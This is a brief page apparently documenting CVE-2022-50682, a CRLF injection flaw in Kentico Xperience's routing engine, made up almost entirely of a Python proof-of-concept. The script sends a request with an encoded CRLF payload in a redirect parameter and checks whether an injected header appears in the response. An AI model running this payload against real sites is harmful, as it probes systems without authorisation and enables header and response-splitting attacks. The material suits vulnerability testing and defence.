CVE-2022-50682: Kentico Xperience路由引擎CRLF注入漏洞

import requests # CVE-2022-50682 CRLF Injection PoC for Kentico Xperience # This PoC demonstrates header injection via CRLF in URL query string target_url = "http://target-site.com/" # Malicious URL with CRLF injection # %0d%0a = URL encoded \r\n (CRLF) payload = "/?redirect=%0d%0aInjected-Header:malicious-value" full_url = target_url + payload print(f"[*] Sending request to: {full_url}") print(f"[*] Payload: {payload}") try: response = requests.get(full_url, timeout=10, allow_redirects=False) print(f"\n[+] Response Status: {response.status_code}") print(f"[+] Response Headers:") for header, value in response.headers.items(): print(f" {header}: {value}") # Check if injection was successful if 'Injected-Header' in response.headers: print("\n[!] VULNERABLE: CRLF injection successful!") print(f"[!] Injected header found: {response.headers.get('Injected-Header')}") else: print("\n[-] No obvious injection detected (may require further testing)") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")